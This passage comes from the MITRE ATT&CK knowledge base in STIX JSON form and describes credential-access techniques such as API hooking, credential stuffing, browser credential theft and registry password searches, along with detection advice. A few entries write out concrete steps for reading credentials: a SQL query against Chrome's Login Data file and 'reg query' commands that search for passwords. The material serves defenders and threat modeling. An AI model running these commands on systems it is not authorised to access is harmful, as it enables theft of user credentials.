                {
                    "url": "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/",
                    "description": "Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.",
                    "source_name": "EyeofRa Detecting Hooking June 2017"
                },
                {
                    "url": "http://www.gmer.net/",
                    "description": "GMER. (n.d.). GMER. Retrieved December 12, 2017.",
                    "source_name": "GMER Rootkits"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx",
                    "description": "Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.",
                    "source_name": "Microsoft Process Snapshot"
                },
                {
                    "url": "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis",
                    "description": "Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.",
                    "source_name": "StackExchange Hooks Jul 2012"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Credential API Hooking",
            "description": "Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001),  this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n",
            "id": "attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2020-11-10T18:29:31.138Z",
            "created": "2020-02-11T19:01:15.930Z",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Process: Process Metadata"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_detection": "Monitor for calls to the `SetWindowsHookEx` and `SetWinEventHook` functions, which install a hook procedure.(Citation: Microsoft Hook Overview)(Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools(Citation: Volatility Detecting Hooks Sept 2012)(Citation: PreKageo Winhook Jul 2011)(Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures.(Citation: Zairon Hooking Dec 2006)(Citation: EyeofRa Detecting Hooking June 2017)\n\nRootkits detectors(Citation: GMER Rootkits) can also be used to monitor for various types of hooking activity.\n\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes(Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions.(Citation: StackExchange Hooks Jul 2012)(Citation: Adlice Software IAT Hooks Oct 2014)",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc",
            "description": "Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nCredential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.\n\nTypically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)",
            "name": "Credential Stuffing",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1110.004",
                    "url": "https://attack.mitre.org/techniques/T1110/004"
                },
                {
                    "external_id": "CAPEC-600",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/600.html"
                },
                {
                    "source_name": "US-CERT TA18-068A 2018",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A",
                    "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2021-04-06T12:31:06.695Z",
            "created": "2020-02-11T18:39:59.959Z",
            "x_mitre_platforms": [
                "Windows",
                "Azure AD",
                "Office 365",
                "SaaS",
                "IaaS",
                "Linux",
                "macOS",
                "Google Workspace",
                "Containers"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.2",
            "x_mitre_detection": "Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_data_sources": [
                "User Account: User Account Authentication",
                "Application Log: Application Log Content"
            ],
            "x_mitre_contributors": [
                "Diogo Fernandes",
                "Anastasios Pingios"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1589.001",
                    "url": "https://attack.mitre.org/techniques/T1589/001"
                },
                {
                    "source_name": "ATT ScanBox",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks",
                    "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020."
                },
                {
                    "source_name": "Register Deloitte",
                    "url": "https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/",
                    "description": "Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020."
                },
                {
                    "source_name": "Register Uber",
                    "url": "https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/",
                    "description": "McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020."
                },
                {
                    "source_name": "Detectify Slack Tokens",
                    "url": "https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/",
                    "description": "Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved October 19, 2020."
                },
                {
                    "source_name": "Forbes GitHub Creds",
                    "url": "https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196",
                    "description": "Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020."
                },
                {
                    "source_name": "GitHub truffleHog",
                    "url": "https://github.com/dxa4481/truffleHog",
                    "description": "Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020."
                },
                {
                    "source_name": "GitHub Gitrob",
                    "url": "https://github.com/michenriksen/gitrob",
                    "description": "Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020."
                },
                {
                    "source_name": "CNET Leaks",
                    "url": "https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/",
                    "description": "Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Credentials",
            "description": "Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nAdversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Adversaries may also purchase credentials from dark web or other black-markets. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
            "id": "attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:26:44.352Z",
            "created": "2020-10-02T14:55:43.815Z",
            "x_mitre_contributors": [
                "Vinayak Wadhwa, Lucideus",
                "Lee Christensen, SpecterOps",
                "Toby Kohlenberg"
            ],
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "id": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc",
            "description": "Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)\n\nIn cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)",
            "name": "Credentials In Files",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1552.001",
                    "url": "https://attack.mitre.org/techniques/T1552/001"
                },
                {
                    "external_id": "CAPEC-639",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/639.html"
                },
                {
                    "url": "http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html",
                    "description": "CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part 1. Retrieved November 12, 2014.",
                    "source_name": "CG 2014"
                },
                {
                    "url": "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx",
                    "description": "Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015.",
                    "source_name": "SRD GPP"
                },
                {
                    "source_name": "Unit 42 Hildegard Malware",
                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."
                },
                {
                    "source_name": "Unit 42 Unsecured Docker Daemons",
                    "url": "https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/",
                    "description": "Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021."
                },
                {
                    "source_name": "Specter Ops - Cloud Credential Storage",
                    "url": "https://posts.specterops.io/head-in-the-clouds-bd038bb69e48",
                    "description": "Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2021-04-12T18:32:32.803Z",
            "created": "2020-02-04T12:52:13.006Z",
            "x_mitre_platforms": [
                "Windows",
                "IaaS",
                "Linux",
                "macOS",
                "Containers"
            ],
            "x_mitre_contributors": [
                "Rory McCune, Aqua Security",
                "Jay Chen, Palo Alto Networks",
                "Yossi Weizman, Azure Defender Research Team",
                "Vishwas Manral, McAfee",
                "Microsoft Threat Intelligence Center (MSTIC)"
            ],
            "x_mitre_data_sources": [
                "File: File Access",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.",
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM",
                "User"
            ],
            "x_mitre_system_requirements": [
                "Access to files"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.1"
        },
        {
            "id": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0",
            "description": "Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications that store passwords to make it easier for users manage and maintain. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.",
            "name": "Credentials from Password Stores",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1555",
                    "url": "https://attack.mitre.org/techniques/T1555"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2021-04-29T21:00:19.428Z",
            "created": "2020-02-11T18:48:28.456Z",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "1.0",
            "x_mitre_detection": "Monitor system calls, file read events, and processes for suspicious activity that could indicate searching for a password  or other activity related to performing keyword searches (e.g. password, pwd, login, store, secure, credentials, etc.) in process memory for credentials. File read events should be monitored surrounding known password storage applications.",
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "File: File Access",
                "Command: Command Execution",
                "Process: OS API Execution",
                "Process: Process Access"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1503",
                    "url": "https://attack.mitre.org/techniques/T1503"
                },
                {
                    "source_name": "Talos Olympic Destroyer 2018",
                    "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019."
                },
                {
                    "source_name": "Microsoft CryptUnprotectData April 2018",
                    "url": "https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata",
                    "description": "Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved June 18, 2019."
                },
                {
                    "source_name": "Proofpoint Vega Credential Stealer May 2018",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign",
                    "description": "Proofpoint. (2018, May 10). New Vega Stealer shines brightly in targeted campaign . Retrieved June 18, 2019."
                },
                {
                    "source_name": "FireEye HawkEye Malware July 2017",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html",
                    "description": "Swapnil Patil, Yogesh Londhe. (2017, July 25). HawkEye Credential Theft Malware Distributed in Recent Phishing Campaign. Retrieved June 18, 2019."
                },
                {
                    "source_name": "GitHub Mimikittenz July 2016",
                    "url": "https://github.com/putterpanda/mimikittenz",
                    "description": "Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz. Retrieved June 20, 2019."
                }
            ],
            "name": "Credentials from Web Browsers",
            "id": "attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-11-17T16:03:55.549Z",
            "created": "2019-06-17T19:34:51.855Z"
        },
        {
            "created": "2020-02-12T18:57:36.041Z",
            "modified": "2021-04-14T14:03:47.293Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "type": "attack-pattern",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1555.003",
                    "url": "https://attack.mitre.org/techniques/T1555/003"
                },
                {
                    "source_name": "Talos Olympic Destroyer 2018",
                    "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019."
                },
                {
                    "source_name": "Microsoft CryptUnprotectData April 2018",
                    "url": "https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata",
                    "description": "Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved June 18, 2019."
                },
                {
                    "source_name": "Proofpoint Vega Credential Stealer May 2018",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign",
                    "description": "Proofpoint. (2018, May 10). New Vega Stealer shines brightly in targeted campaign . Retrieved June 18, 2019."
                },
                {
                    "source_name": "FireEye HawkEye Malware July 2017",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html",
                    "description": "Swapnil Patil, Yogesh Londhe. (2017, July 25). HawkEye Credential Theft Malware Distributed in Recent Phishing Campaign. Retrieved June 18, 2019."
                },
                {
                    "source_name": "GitHub Mimikittenz July 2016",
                    "url": "https://github.com/putterpanda/mimikittenz",
                    "description": "Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz. Retrieved June 20, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Credentials from Web Browsers",
            "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, <code>AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data</code> and executing a SQL query: <code>SELECT action_url, username_value, password_value FROM logins;</code>. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function <code>CryptUnprotectData</code>, which uses the victim\u2019s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).",
            "id": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "x_mitre_data_sources": [
                "File: File Access",
                "Command: Command Execution",
                "Process: OS API Execution",
                "Process: Process Access"
            ],
            "x_mitre_contributors": [
                "Ryan Benson, Exabeam",
                "Barry Shteiman, Exabeam",
                "Sylvain Gil, Exabeam",
                "RedHuntLabs, @redhuntlabs"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Identify web browser files that contain credentials such as Google Chrome\u2019s Login Data database file: <code>AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data</code>. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser. Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.).",
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1081",
                    "url": "https://attack.mitre.org/techniques/T1081"
                },
                {
                    "external_id": "CAPEC-639",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/639.html"
                },
                {
                    "url": "http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html",
                    "description": "CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part 1. Retrieved November 12, 2014.",
                    "source_name": "CG 2014"
                },
                {
                    "url": "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx",
                    "description": "Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015.",
                    "source_name": "SRD GPP"
                },
                {
                    "source_name": "Specter Ops - Cloud Credential Storage",
                    "url": "https://posts.specterops.io/head-in-the-clouds-bd038bb69e48",
                    "description": "Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019."
                }
            ],
            "name": "Credentials in Files",
            "id": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2021-03-08T10:33:00.910Z",
            "created": "2017-05-31T21:31:02.188Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1214",
                    "url": "https://attack.mitre.org/techniques/T1214"
                },
                {
                    "url": "https://pentestlab.blog/2017/04/19/stored-credentials/",
                    "description": "netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.",
                    "source_name": "Pentestlab Stored Credentials"
                }
            ],
            "name": "Credentials in Registry",
            "id": "attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-02-04T12:59:37.464Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "created": "2020-02-04T12:58:40.678Z",
            "modified": "2020-02-07T20:49:18.834Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580",
            "description": "Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: <code>reg query HKLM /f password /t REG_SZ /s</code>\n* Current User Hive: <code>reg query HKCU /f password /t REG_SZ /s</code>",
            "name": "Credentials in Registry",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1552.002",
                    "url": "https://attack.mitre.org/techniques/T1552/002"
                },
                {
                    "url": "https://pentestlab.blog/2017/04/19/stored-credentials/",
                    "description": "netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.",
                    "source_name": "Pentestlab Stored Credentials"
                }
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_contributors": [
                "Sudhanshu Chauhan, @Sudhanshu_C"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Windows Registry: Windows Registry Key Access"
            ],
            "x_mitre_detection": "Monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.",
            "x_mitre_permissions_required": [
                "Administrator",
                "User"
            ],
            "x_mitre_system_requirements": [
                "Ability to query some Registry locations depends on the adversary's level of access. User permissions are usually limited to access of user-related Registry keys."
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1053.003",
                    "url": "https://attack.mitre.org/techniques/T1053/003"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Cron",
            "description": "Adversaries may abuse the <code>cron</code> utility to perform task scheduling for initial or recurring execution of malicious code. The <code>cron</code> utility is a time-based job scheduler for Unix-like operating systems.  The <code> crontab</code> file contains the schedule of cron entries to be run and the specified times for execution. Any <code>crontab</code> files are stored in operating system-specific file paths.\n\nAn adversary may use <code>cron</code> in Linux or Unix environments to execute programs at system startup or on a scheduled basis for persistence. <code>cron</code> can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.",
            "id": "attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2020-03-23T23:30:46.546Z",
            "created": "2019-12-03T14:25:00.538Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_remote_support": false,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc.  \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. ",
            "x_mitre_data_sources": [
                "Scheduled Job: Scheduled Job Creation",
                "Command: Command Execution",
                "File: File Modification",
                "Process: Process Creation"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ]
        },
        {
            "id": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
            "name": "Custom Command and Control Protocol",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1094",
                    "url": "https://attack.mitre.org/techniques/T1094"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-03-20T19:03:04.295Z",
            "created": "2017-05-31T21:31:10.314Z"
        },
        {
            "created": "2017-05-31T21:30:31.197Z",
            "modified": "2020-03-30T20:17:22.024Z",
            "type": "attack-pattern",
            "revoked": true,
            "id": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d",
            "name": "Custom Cryptographic Protocol",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1024",
                    "url": "https://attack.mitre.org/techniques/T1024"
                },
                {
